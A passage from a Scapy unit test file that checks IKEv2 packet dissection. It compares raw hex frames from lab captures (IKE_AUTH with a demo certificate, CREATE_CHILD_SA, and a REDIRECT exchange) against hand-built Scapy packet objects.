57b9285d9a630ac7 164611fdf42c2d00 0018010000000700\n        00100000ffffc0a8 e10ac0a8e10a2b00 0018010000000700 00100000ffffc0a8\n        e100c0a8e1ff2900 0014afcad71368a1 f1c96b8696fc7757 0100000000080000\n        400c\n        \"\"\".split())),\n        Ether(dst='00:0c:29:30:10:9e', src='00:50:56:ed:db:32', type='IPv4') /\n        IP(version=4, ihl=5, tos=0x0, len=1304, id=42461, flags='', frag=0, ttl=128, proto='udp', chksum=0x1e5f, src='172.16.15.92', dst='192.168.245.131') /\n        UDP(sport=4500, dport=10954, len=1284, chksum=0x886e) /\n        NON_ESP(non_esp=0x0) /\n        IKEv2(\n            init_SPI=b'\\x89\\x92\\x2c\\x91\\x5f\\x35\\x57\\x0e',\n            resp_SPI=b'\\x98\\xd5m2\\xe2\\xa0GB',\n            next_payload='IDr',\n            version=0x20,\n            exch_type='IKE_AUTH',\n            flags='Response',\n            id=1,\n            length=1272\n        ) /\n        IKEv2_IDr(\n            next_payload='CERT',\n            flags='',\n            length=126,\n            IDtype=9,\n            res2=0x0,\n            ID=b'0t1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02DE1\\x1a0\\x18\\x06\\x03U\\x04\\n\\x0c\\x11Demo Organization1\\x100\\x0e\\x06\\x03U\\x04\\x0b\\x0c\\x07Demo OU1\\x100\\x0e\\x06\\x03U\\x04\\x03\\x0c\\x07Server11%0#\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\t\\x01\\x16\\x16server1@demo.ncp-e.com'\n        ) /\n        IKEv2_CERT(\n            next_payload='AUTH',\n            flags='',\n            length=742,\n            cert_encoding='X.509 Certificate - Signature',\n            cert_data=X509_Cert(\n                tbsCertificate=X509_TBSCertificate(\n                    version=ASN1_INTEGER(2),\n                    serialNumber=ASN1_INTEGER(0x1000016),\n                    signature=X509_AlgorithmIdentifier(\n                        algorithm=ASN1_OID('ecdsa-with-SHA256'),\n                        parameters=None\n                    ),\n                    issuer=[\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('stateOrProvinceName'), value=ASN1_PRINTABLE_STRING(b'Bayern'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_PRINTABLE_STRING(b'NCP'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_PRINTABLE_STRING(b'NCP Demo CA ECC 2050')))\n                    ],\n                    validity=X509_Validity(\n                        not_before=ASN1_GENERALIZED_TIME('20160804080015Z'),\n                        not_after=ASN1_GENERALIZED_TIME('20500805080015Z')\n                    ),\n                    subject=[\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_UTF8_STRING(b'Demo Organization'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationUnitName'), value=ASN1_UTF8_STRING(b'Demo OU'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_UTF8_STRING(b'Server1'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('emailAddress'), value=ASN1_IA5_STRING(b'server1@demo.ncp-e.com')))\n                    ],\n                    subjectPublicKeyInfo=X509_SubjectPublicKeyInfo(\n                        signatureAlgorithm=X509_AlgorithmIdentifier(\n                            algorithm=ASN1_OID('ecPublicKey'),\n                            parameters=ECParameters(curve=ASN1_OID('prime256v1')),\n                        ),\n                        subjectPublicKey=ECDSAPublicKey(\n                            ecPoint=ASN1_BIT_STRING(\n                                '000001001101111011000111111101001011001011001000101100101101110'\n                                '001001101011000110100010111101010000110111100100001110101110000'\n                                '010000011101101011010101011101100111011011110010000111110100000'\n                                '110100111010001100010011011001111111101011010111101111111111110'\n                                '110000111110110001000000101011111100011101001010100010000101100'\n                                '000111100110001010100000110110100011010101101101001011110010000'\n                                '000100000011001110011101111101011010101011011101110100010110011'\n                                '000011100101001011011101100000111010010001101101010100001111000'\n                                '1111001110010100'\n                            )\n                        )\n                    ),\n                    issuerUniqueID=None,\n                    subjectUniqueID=None,\n                    extensions=[\n                        X509_Extension(\n                            extnID=ASN1_OID('basicConstraints'),\n                            critical=None,\n                            extnValue=X509_ExtBasicConstraints(cA=None, pathLenConstraint=None)\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('keyUsage'),\n                            critical=None,\n                            extnValue=X509_ExtKeyUsage(keyUsage=ASN1_BIT_STRING('101'))\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('extKeyUsage'),\n                            critical=None,\n                            extnValue=X509_ExtExtendedKeyUsage(\n                                extendedKeyUsage=[\n                                    ASN1P_OID(oid=ASN1_OID('serverAuth')),\n                                    ASN1P_OID(oid=ASN1_OID('clientAuth')),\n                                    ASN1P_OID(oid=ASN1_OID('ipsecTunnel'))\n                                ]\n                            )\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('subjectKeyIdentifier'),\n                            critical=None,\n                            extnValue=X509_ExtSubjectKeyIdentifier(\n                                keyIdentifier=ASN1_STRING(b\"\\xa5F\\x98WG\\x19\\xa0*I\\xf0\\x1a,\\x94\\x84\\xd4\\x82\\xd9L'#\")\n                            )\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('authorityKeyIdentifier'),\n                            critical=None,\n                            extnValue=X509_ExtAuthorityKeyIdentifier(\n                                keyIdentifier=ASN1_STRING(b'%\\xdbmD\\xde\\xc7\\xa0>\\xb5\\xf8b:\\xb1\\x87\\x84Tj\\x0f\\x04\\t'),\n                                authorityCertIssuer=X509_GeneralName(\n                                    generalName=X509_DirectoryName(\n                                        directoryName=[\n                                            X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))),\n                                            X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('stateOrProvinceName'), value=ASN1_PRINTABLE_STRING(b'Bayern'))),\n                                            X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_PRINTABLE_STRING(b'NCP'))),\n                                            X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_PRINTABLE_STRING(b'NCP Demo CA ECC 2050')))\n                                        ]\n                                    )\n                                ),\n                                authorityCertSerialNumber=ASN1_INTEGER(0x20002)\n                            )\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('subjectAltName'),\n                            critical=None,\n                            extnValue=X509_ExtSubjectAltName(\n                                subjectAltName=[\n                                    X509_GeneralName(\n                                        generalName=X509_OtherName(\n                                            type_id=ASN1_OID('.1.3.6.1.4.1.311.20.2.3'),\n                                            value=ASN1_UTF8_STRING(b'Server1@demo.ncp-e.com')\n                                        )\n                                    ),\n                                    X509_GeneralName(\n                                        generalName=X509_RFC822Name(\n                                            rfc822Name=ASN1_IA5_STRING(b'Server1@demo.ncp-e.com')\n                                        )\n                                    )\n                                ]\n                            )\n                        )\n                    ]\n                ),\n                signatureAlgorithm=X509_AlgorithmIdentifier(\n                    algorithm=ASN1_OID('ecdsa-with-SHA256'),\n                    parameters=None\n                ),\n                signatureValue=ECDSASignature(\n                    r=ASN1_INTEGER(0x5387d21afa1bab56fc406f81768ae73fe18b93b4cff191fd01cda6fd92020e95),\n                    s=ASN1_INTEGER(0xee5f6735a9f6d6b377e713cacdddd72fc7fba5d48258479ee1edf2af2da84850)\n                )\n            )\n        ) /\n        IKEv2_AUTH(\n            next_payload='CP',\n            flags='',\n            length=92,\n            auth_type='Digital Signature',\n            res2=0x0,\n            load=b'\\x0c0\\n\\x06\\x08*\\x86H\\xce=\\x04\\x03\\x020E\\x02 x\\xd6\\xa7\\xe8\\xb3f\\xbd\\xe8\\xf9\\xc1/&\\x9f+\\xf6A\\x16\\x95\\x11\\xceb\\x1a\\x90\\x05\\x9a\\xed\\x0f\\xeaGS\\x8b\\x0e\\x02!\\x00\\x8c\\xf3\\x08\\x13\\xd15\\xaa\\xfe\\x8eM\\xc0\\xfd\\xf2\\xfdYZ\\x98g\\xf1\\xa6\\x08=\\x1e\\x01\\xa1I\\xc9\\x05\\xec\\xf9\\xbf\\xe6'\n        ) /\n        IKEv2_CP(\n            next_payload='SA',\n            flags='',\n            length=92,\n            CFGType='CFG_REPLY',\n            res2=0x0,\n            attributes=[\n                ConfigurationAttribute(type='INTERNAL_IP4_ADDRESS', length=4, value='192.168.225.10'),\n                ConfigurationAttribute(type='INTERNAL_IP4_NETMASK', length=4, value='255.255.255.0'),\n                ConfigurationAttribute(type=20004, length=4, value=b'\\xc0\\xa8\\xe1\\x01'),\n                ConfigurationAttribute(type='INTERNAL_IP4_DNS', length=4, value='0.0.0.0'),\n                ConfigurationAttribute(type='INTERNAL_IP4_DNS', length=4, value='0.0.0.0'),\n                ConfigurationAttribute(type=20002, length=4, value=b'\\xac\\x10\\x0f\\x5c'),\n                ConfigurationAttribute(type=20002, length=4, value='\\x00\\x00\\x00\\x00'),\n                ConfigurationAttribute(type='INTERNAL_IP4_NBNS', length=4, value='0.0.0.0'),\n                ConfigurationAttribute(type='INTERNAL_IP4_NBNS', length=4, value='0.0.0.0'),\n                ConfigurationAttribute(type=20003, length=4, value=b'\\x00\\x00\\x00\\x00'),\n                ConfigurationAttribute(type=28674, length=0)\n            ]\n        ) /\n        IKEv2_SA(\n            next_payload='Nonce',\n            flags='',\n            length=36,\n            prop=IKEv2_Proposal(\n                flags='',\n                length=32,\n                proposal=1,\n                proto='ESP',\n                SPIsize=4,\n                trans_nb=2,\n                SPI=b'\\xac\\x0f\\xaf\\x03',\n                trans=IKEv2_Transform(flags='', length=12, transform_type='Encryption', res2=0, transform_id='AES-GCM-16ICV', key_length=128) /\n                      IKEv2_Transform(flags='', length=8, transform_type='Extended Sequence Number', res2=0, transform_id='No ESN')\n            )\n        ) /\n        IKEv2_Nonce(\n            next_payload='TSi',\n            flags='',\n            length=44,\n            nonce=b'\\xcf\\x0eyPv]\\xb7\\xf77\\x1d\\xbb\\xdf\\xa1r\\x04\\x93\\xc8<\\x1b\\xa4\\xdc6\\x17\\xc3\\x19*W\\xb9(]\\x9ac\\n\\xc7\\x16F\\x11\\xfd\\xf4,'\n        ) /\n        IKEv2_TSi(\n            next_payload='TSr',\n            flags='',\n            length=24,\n            number_of_TSs=1,\n            res2=0x0,\n            traffic_selector=[\n                IPv4TrafficSelector(\n                    TS_type='TS_IPV4_ADDR_RANGE',\n                    IP_protocol_ID='All protocols',\n                    length=16,\n                    start_port=0,\n                    end_port=65535,\n                    starting_address_v4='192.168.225.10',\n                    ending_address_v4='192.168.225.10'\n                )\n            ]\n        ) /\n        IKEv2_TSr(\n            next_payload='VendorID',\n            flags='',\n            length=24,\n            number_of_TSs=1,\n            res2=0x0,\n            traffic_selector=[\n                IPv4TrafficSelector(\n                    TS_type='TS_IPV4_ADDR_RANGE',\n                    IP_protocol_ID='All protocols',\n                    length=16,\n                    start_port=0,\n                    end_port=65535,\n                    starting_address_v4='192.168.225.0',\n                    ending_address_v4='192.168.225.255'\n                )\n            ]\n        ) /\n        IKEv2_VendorID(\n            next_payload='Notify',\n            flags='',\n            length=20,\n            vendorID=b'\\xaf\\xca\\xd7\\x13h\\xa1\\xf1\\xc9k\\x86\\x96\\xfcwW\\x01\\x00'\n        ) /\n        IKEv2_Notify(\n            next_payload='None',\n            flags='',\n            length=8,\n            type='MOBIKE_SUPPORTED'\n        )\n    ),\n    # CREATE_CHILD_SA request, decrypted\n    (\n        # i: frame number\n        -4,\n        # title:\n        \"CREATE_CHILD_SA request, decrypted\",\n        binascii.unhexlify(''.join(\"\"\"\n        00 50 56 99 bf d5 00 50  56 99 69 93 08 00 45 00\n        01 38 60 32 40 00 40 11  c1 0f 0a 05 02 36 0a 05\n        02 34 b8 99 11 94 01 24  19 a9 00 00 00 00 46 b3\n        f6 88 4d 37 5f 9a f5 38  82 35 ea 87 5e 8a 29 20\n        24 00 00 00 00 00 00 00  01 18\n\n        21 00 00 0c 03 04 40 09  5f c7 ff 5a 28 00 00 2c\n        00 00 00 28 01 03 04 03  6b 21 88 20 03 00 00 0c\n        01 00 00 14 80 0e 00 80  03 00 00 08 04 00 00 1c\n        00 00 00 08 05 00 00 00  22 00 00 2c ea 7e 88 57\n        4a 36 64 cd 67 e3 3c 42  46 66 59 4d df 70 25 03\n        b2 00 a3 3f 87 82 f2 3c  94 c0 60 0e ae 7e d9 50\n        d7 67 e9 6e 2c 00 00 48  00 1c 00 00 8e 15 b1 f4\n        9a cc 04 ff 12 e3 2f bc  3a f0 57 14 81 f3 b9 6c\n        21 1a f7 36 97 6d c2 23  80 74 ef 75 59 d1 99 65\n        5a a5 80 00 87 4a bf 1f  13 f7 e1 6f de 34 80 94\n        28 1c 93 cb 5a ee 30 24  d9 3e b9 55 2d 00 00 18\n        01 00 00 00 07 00 00 10  00 00 ff ff c0 a8 e1 0b\n        c0 a8 e1 0b 00 00 00 18  01 00 00 00 07 00 00 10\n        00 00 ff ff c0 a8 e1 00  c0 a8 e1 ff\n        \"\"\".split())),\n        Ether(dst='00:50:56:99:bf:d5', src='00:50:56:99:69:93', type=2048) /\\\n        IP(version=4, ihl=5, tos=0, len=312, id=24626, flags=2, frag=0, ttl=64, proto=17, chksum=49423, src='10.5.2.54', dst='10.5.2.52') /\\\n        UDP(sport=47257, dport=4500, len=292, chksum=6569) /\\\n        NON_ESP(non_esp=0) /\\\n        IKEv2(\n            init_SPI=b'F\\xb3\\xf6\\x88M7_\\x9a',\n            resp_SPI=b'\\xf58\\x825\\xea\\x87^\\x8a',\n            next_payload=41,\n            version=32,\n            exch_type=36,\n            flags=0,\n            id=0,\n            length=280\n        ) /\\\n        IKEv2_Notify(\n            next_payload=33,\n            flags=0,\n            length=12,\n            proto=3,\n            SPIsize=4,\n            type=16393,\n            SPI=b'_\\xc7\\xffZ',\n            notify=b''\n        ) /\\\n        IKEv2_SA(\n            prop=IKEv2_Proposal(\n                trans=(\n                    IKEv2_Transform(next_payload=3, flags=0, length=12, transform_type=1, res2=0, transform_id=20, key_length=128) /\\\n                    IKEv2_Transform(next_payload=3, flags=0, length=8, transform_type=4, res2=0, transform_id=28) /\\\n                    IKEv2_Transform(next_payload=0, flags=0, length=8, transform_type=5, res2=0, transform_id=0)\n                ),\n                next_payload=0, flags=0, length=40, proposal=1, proto=3, SPIsize=4, trans_nb=3, SPI=b'k!\\x88 '),\n            next_payload=40,\n            flags=0,\n            length=44\n        ) /\\\n        IKEv2_Nonce(\n            next_payload=34,\n            flags=0,\n            length=44,\n            nonce=b'\\xea~\\x88WJ6d\\xcdg\\xe3<BFfYM\\xdfp%\\x03\\xb2\\x00\\xa3?\\x87\\x82\\xf2<\\x94\\xc0`\\x0e\\xae~\\xd9P\\xd7g\\xe9n'\n        ) /\\\n        IKEv2_KE(\n            next_payload=44,\n            flags=0,\n            length=72,\n            group=28,\n            res2=0,\n            ke=b'\\x8e\\x15\\xb1\\xf4\\x9a\\xcc\\x04\\xff\\x12\\xe3/\\xbc:\\xf0W\\x14\\x81\\xf3\\xb9l!\\x1a\\xf76\\x97m\\xc2#\\x80t\\xefuY\\xd1\\x99eZ\\xa5\\x80\\x00\\x87J\\xbf\\x1f\\x13\\xf7\\xe1o\\xde4\\x80\\x94(\\x1c\\x93\\xcbZ\\xee0$\\xd9>\\xb9U'\n        ) /\\\n        IKEv2_TSi(\n            traffic_selector=[\n                IPv4TrafficSelector(\n                    TS_type=7,\n                    IP_protocol_ID=0,\n                    length=16,\n                    start_port=0,\n                    end_port=65535,\n                    starting_address_v4='192.168.225.11',\n                    ending_address_v4='192.168.225.11'\n                )\n            ],\n            next_payload=45,\n            flags=0,\n            length=24,\n            number_of_TSs=1,\n            res2=0\n        ) /\\\n        IKEv2_TSr(\n            traffic_selector=[\n                IPv4TrafficSelector(\n                    TS_type=7,\n                    IP_protocol_ID=0,\n                    length=16,\n                    start_port=0,\n                    end_port=65535,\n                    starting_address_v4='192.168.225.0',\n                    ending_address_v4='192.168.225.255'\n                )\n            ],\n            next_payload=0,\n            flags=0,\n            length=24,\n            number_of_TSs=1,\n            res2=0\n        )\n    ),\n]\n\n\nfor i, title, data, packet in frames:\n    print(title)\n    if i >= 0:\n        # the raw frame data coincides with the frame from the packet capture\n        assert data == raw(pcap[i])\n    # the scapy packet correctly describes the frame\n    assert raw(packet) == data\n    # reassembling the dissected frame yields the original frame\n    assert raw(Ether(data)) == data\n\n\n\n= IKEv2 key exchange with REDIRECT\n\n* Loads and dissects the four frames of the key exchange from a Wireshark\n* capture and compares them with manually built scapy packets.\n\npcap = rdpcap(scapy_path(\"/test/pcaps/ikev2_notify_redirect.pcap\"))\n\n\nframes = [\n    (\n        # i: frame number\n        0,\n        # title:\n        \"IKE_SA_INIT request  (redirect_supported)\",\n        # data: raw frame data\n        binascii.unhexlify(''.join(\"\"\"\n        00505699bfd50050 56991bcc08004500 012cb73300007f11 6aac0a05023c0a05\n        02342ac801f40118 62b8886948814975 28ad000000000000 0000212022080000\n        0000000001102200 0028000000240101 00030300000c0100 0014800e01000300\n        0008020000050000 00080400001c2800 0048001c00002895 d48e470d8cb88196\n        62f3370c57b26cd3 49c16f5ec1b31959 f9ef695480bc7323 52f96d0a7c4a54f1\n        d596bb4fcc2f368e 31985a76ea5a7c77 d4310d372d962900 002c4bf3ea6cd0c6\n        afe702c567fe7db3 ff973424bb5e9de6 af123a41975a6ffb 266e9c5b4c915795\n        132b2900001c0100 4005509b01b43dc2 8c9df849fd765c64 8a512959ac502900\n        001c010040045312 0985399e14cf2b79 211f375b439bd030 31ac290000080000\n        402e290000080000 4016000000100000 402f000100020003 0004\n        \"\"\".split())),\n        # packet:  Ether / IP / UDP / IKEv2 / ...\n        Ether(dst='00:50:56:99:bf:d5', src='00:50:56:99:1b:cc', type=2048) /\\\n        IP(version=4, ihl=5, tos=0, id=46899, flags=0, frag=0, ttl=127, proto=17, chksum=27308, src='10.5.2.60', dst='10.5.2.52') /\\\n        UDP(sport=10952, dport=500, chksum=25272) /\\\n        IKEv2(\n            init_SPI=b'\\x88iH\\x81Iu(\\xad',\n            resp_SPI=b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n            next_payload=33,\n            version=32,\n            exch_type=34,\n            flags=8,\n            id=0\n        ) /\\\n        IKEv2_SA(\n            prop=IKEv2_Proposal(\n                trans=(\n                    IKEv2_Transform(next_payload=3, flags=0, length=12, transform_type=1, res2=0, transform_id=20, key_length=256) /\\\n                    IKEv2_Transform(next_payload=3, flags=0, length=8, transform_type=2, res2=0, transform_id=5) /\\\n                    IKEv2_Transform(next_payload=0, flags=0, length=8, transform_type=4, res2=0, transform_id=28)\n                ),\n                next_payload=0, flags=0, length=36, proposal=1, proto='IKE', trans_nb=3),\n            next_payload=34,\n            flags=0,\n            length=40\n        ) /\\\n        IKEv2_KE(\n            next_payload=40,\n            flags=0,\n            length=72,\n            group=28,\n            res2=0,\n            ke=b'(\\x95\\xd4\\x8eG\\r\\x8c\\xb8\\x81\\x96b\\xf37\\x0cW\\xb2l\\xd3I\\xc1o^\\xc1\\xb3\\x19Y\\xf9\\xefiT\\x80\\xbcs#R\\xf9m\\n|JT\\xf1\\xd5\\x96\\xbbO\\xcc/6\\x8e1\\x98Zv\\xeaZ|w\\xd41\\r7-\\x96'\n        ) /\\\n        IKEv2_Nonce(\n            next_payload=41,\n            flags=0,\n            length=44,\n            nonce=b'K\\xf3\\xeal\\xd0\\xc6\\xaf\\xe7\\x02\\xc5g\\xfe}\\xb3\\xff\\x974$\\xbb^\\x9d\\xe6\\xaf\\x12:A\\x97Zo\\xfb&n\\x9c[L\\x91W\\x95\\x13+'\n        ) /\\\n        IKEv2_Notify(\n            next_payload=41,\n            flags=0,\n            length=28,\n            proto='IKE',\n            type='NAT_DETECTION_DESTINATION_IP',\n            notify=b'P\\x9b\\x01\\xb4=\\xc2\\x8c\\x9d\\xf8I\\xfdv\\\\d\\x8aQ)Y\\xacP'\n        ) /\\\n        IKEv2_Notify(\n            next_payload=41,\n            flags=0,\n            length=28,\n            proto='IKE',\n            type='NAT_DETECTION_SOURCE_IP',\n            notify=b'S\\x12\\t\\x859\\x9e\\x14\\xcf+y!\\x1f7[C\\x9b\\xd001\\xac'\n        ) /\\\n        IKEv2_Notify(\n            next_payload=41,\n            flags=0,\n            length=8,\n            type='IKEV2_FRAGMENTATION_SUPPORTED',\n        ) /\\\n        IKEv2_Notify(\n            next_payload=41,\n            flags=0,\n            length=8,\n            type='REDIRECT_SUPPORTED',\n        ) /\\\n        IKEv2_Notify(\n            next_payload=0,\n            flags=0,\n            length=16,\n            type='SIGNATURE_HASH_ALGORITHMS',\n            notify=b'\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04'\n        )\n    ),\n    (\n        # i: frame number\n        1,\n        # title:\n        \"IKE_SA_INIT response (redirect)\",\n        # data: raw frame data\n        # data: raw frame data\n        binascii.unhexlify(''.join(\"\"\"\n        005056991bcc0050 5699bfd508004500 0086c4d300004011 9d1a0a0502340a05\n        023c01f42ac80072 c9bc886948814975 28ad000000000000 0000292022200000\n        00000000006a0000 004e01004017031c 6d6f6e657962696e 2e6475636b627572\n        672e6469736e6579 2e636f6d4bf3ea6c d0c6afe702c567fe 7db3ff973424bb5e\n        9de6af123a41975a 6ffb266e9c5b4c91 5795132b\n        \"\"\".split())),\n        # packet:  Ether / IP / UDP / IKEv2 / ...\n        Ether(dst='00:50:56:99:1b:cc', src='00:50:56:99:bf:d5', type=2048) /\\\n        IP(version=4, ihl=5, tos=0, id=50387, flags=0, frag=0, ttl=64, proto=17, src='10.5.2.52', dst='10.5.2.60') /\\\n        UDP(sport=500, dport=10952) /\\\n        IKEv2(\n            init_SPI=b'\\x88iH\\x81Iu(\\xad',\n            resp_SPI=b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n            next_payload=41,\n            version=32,\n            exch_type=34,\n            flags=32,\n            id=0\n        ) /\\\n        IKEv2_Notify(\n            next_payload=0,\n            flags=0,\n            length=78,\n            proto='IKE',\n            type='REDIRECT',\n            gw_id_type=3,\n            gw_id=b'moneybin.duckburg.disney.com',\n            nonce=b'K\\xf3\\xeal\\xd0\\xc6\\xaf\\xe7\\x02\\xc5g\\xfe}\\xb3\\xff\\x974$\\xbb^\\x9d\\xe6\\xaf\\x12:A\\x97Zo\\xfb&n\\x9c[L\\x91W\\x95\\x13+'\n        )\n    ),\n    (\n        # i: frame number\n        2,\n        # title:\n        \"IKE_SA_INIT request  (redirected_from)\",\n        # data: raw frame data\n        binascii.unhexlify(''.join(\"\"\"\n        0050569907660050 56991bcc08004500 013290ac00007f11 91940a05023c0a05\n        02352ac801f4011e cba11c88ee0b7793 d52e000000000000 0000212022080000\n        0000000001162200 0028000000240101 00030300000c0100 0014800e01000300\n        0008020000050000 00080400001c2800 0048001c00004616 8482fe53233fc1e2\n        2f9726b7adfe0dfc f53d1558fd663168 24ceec32d4d33f57 7941d3d52e929b3b\n        ed0b2eef12886117 cd358655f2f6ffd6 fb54fd48bbc52900 002ca573e33f62cf\n        2893f80abed1677c a303249bf90aae99 980052cbdfd9cc6b 6e70605869ef142b\n        cdfd2900001c0100 40052c07d7519ad8 df23a23027e9e7c2 654b32c4e0f32900\n        001c010040041a1d 001cd4d06f42d1ce 836f7ced61c683b1 87ef290000080000\n        402e2900000e0000 401801040a050234 000000100000402f 0001000200030004\n        \"\"\".split())),\n        # packet:  Ether / IP / UDP / IKEv2 / ...\n        Ether(dst='00:50:56:99:07:66', src='00:50:56:99:1b:cc', type=2048) /\\\n        IP(version=4, ihl=5, tos=0, id=37036, flags=0, frag=0, ttl=127, proto=17, src='10.5.2.60', dst='10.5.2.53') /\\\n        UDP(sport=10952, dport=500) /\\\n        IKEv2(\n            init_SPI=b'\\x1c\\x88\\xee\\x0bw\\x93\\xd5.',\n            resp_SPI=b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n            next_payload=33,\n            version=32,\n            exch_type=34,\n            flags=8,\n            id=0) /\\\n        IKEv2_SA(\n            prop=IKEv2_Proposal(\n                trans=(\n                    IKEv2_Transform(next_payload=3, flags=0, length=12, transform_type=1, res2=0, transform_id=20, key_length=256) /\\\n                    IKEv2_Transform(next_payload=3, flags=0, length=8, transform_type=2, res2=0, transform_id=5) /\\\n                    IKEv2_Transform(next_payload=0, flags=0, length=8, transform_type=4, res2=0, transform_id=28)\n                ),\n                next_payload=0,\n                flags=0,\n                length=36,\n                proposal=1,\n                proto='IKE',\n                trans_nb=3,\n            ),\n            next_payload=34,\n            flags=0,\n            length=40\n        ) /\\\n        IKEv2_KE(\n            next_payload=40,\n            flags=0,\n            length=72,\n            group=28,\n            res2=0,\n            ke=b'F\\x16\\x84\\x82\\xfeS#?\\xc1\\xe2/\\x97&\\xb7\\xad\\xfe\\r\\xfc\\xf5=\\x15X\\xfdf1h$\\xce\\xec2\\xd4\\xd3?\\x57\\x79\\x41\\xd3\\xd5.\\x92\\x9b;\\xed\\x0b.\\xef\\x12\\x88a\\x17\\xcd5\\x86U\\xf2\\xf6\\xff\\xd6\\xfbT\\xfdH\\xbb\\xc5'\n        ) /\\\n        IKEv2_Nonce(\n            next_payload=41,\n            flags=0,\n            length=44,\n            nonce=b'\\xa5s\\xe3?b\\xcf(\\x93\\xf8\\n\\xbe\\xd1g|\\xa3\\x03$\\x9b\\xf9\\n\\xae\\x99\\x98\\x00R\\xcb\\xdf\\xd9\\xccknp`Xi\\xef\\x14+\\xcd\\xfd'\n        ) /\\\n        IKEv2_Notify(\n            next_payload=41,\n            flags=0,\n            length=28,\n            proto='IKE',\n            type='NAT_DETECTION_DESTINATION_IP',\n            notify=b\",\\x07\\xd7Q\\x9a\\xd8\\xdf#\\xa20'\\xe9\\xe7\\xc2eK2\\xc4\\xe0\\xf3\"\n        ) /\\\n        IKEv2_Notify(\n            next_payload=41,\n            flags=0,\n            length=28,\n            proto='IKE',\n            type='NAT_DETECTION_SOURCE_IP',\n            notify=b'\\x1a\\x1d\\x00\\x1c\\xd4\\xd0oB\\xd1\\xce\\x83o|\\xeda\\xc6\\x83\\xb1\\x87\\xef'\n        ) /\\\n        IKEv2_Notify(\n            next_payload=41,\n            flags=0,\n            length=8,\n            type='IKEV2_FRAGMENTATION_SUPPORTED'\n        ) /\\\n        IKEv2_Notify(\n            next_payload=41,\n            flags=0,\n            length=14,\n            type='REDIRECTED_FROM',\n            gw_id_type=1,\n            gw_id_len=4,\n            gw_id='10.5.2.52'\n        ) /\\\n        IKEv2_Notify(\n            next_payload=0,\n            flags=0,\n            length=16,\n            type='SIGNATURE_HASH_ALGORITHMS',\n            notify=b'\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04'\n        )\n    ),\n    (\n        # i: frame number\n        3,\n        # title:\n        \"IKE_SA_INIT response (no_proposal_chosen)\",\n        # data: raw frame data\n        binascii.unhexlify(''.join(\"\"\"\n        005056991bcc0050 5699076608004500 0040f24c00004011 6fe60a0502350a05\n        023c01f42ac8002c c8e31c88ee0b7793 d52e63cc9c1919de 33e7292022200000\n        0000000000240000 00080100000e\n        \"\"\".split())),\n        # packet:  Ether / IP / UDP / IKEv2 / ...\n        Ether(dst='00:50:56:99:1b:cc', src='00:50:56:99:07:66', type=2048) /\\\n        IP(version=4, ihl=5, tos=0, id=62028, flags=0, frag=0, ttl=64, proto=17, src='10.5.2.53', dst='10.5.2.60') /\\\n        UDP(sport=500, dport=10952) /\\\n        IKEv2(\n            init_SPI=b'\\x1c\\x88\\xee\\x0bw\\x93\\xd5.',\n            resp_SPI=b'c\\xcc\\x9c\\x19\\x19\\xde3\\xe7',\n            next_payload=41,\n            version=32,\n            exch_type=34,\n            flags=32,\n            id=0\n        ) /\\\n        IKEv2_Notify(\n            next_payload=0,\n            flags=0,\n            length=8,\n            proto='IKE',\n            type='NO_PROPOSAL_CHOSEN'\n        )\n    ),\n]\n\n\nfor i, title, data, packet in frames:\n    print(title)\n    if i >= 0:\n        # the raw frame data coincides with the frame from the packet capture\n        assert data == raw(pcap[i])\n    # the scapy packet correctly describes the frame\n    assert raw(packet) == data\n    # reassembling the dissected frame yields the original frame\n    assert raw(Ether(data)) == data\n"
  },
  {
    "path": "test/contrib/isis.uts",
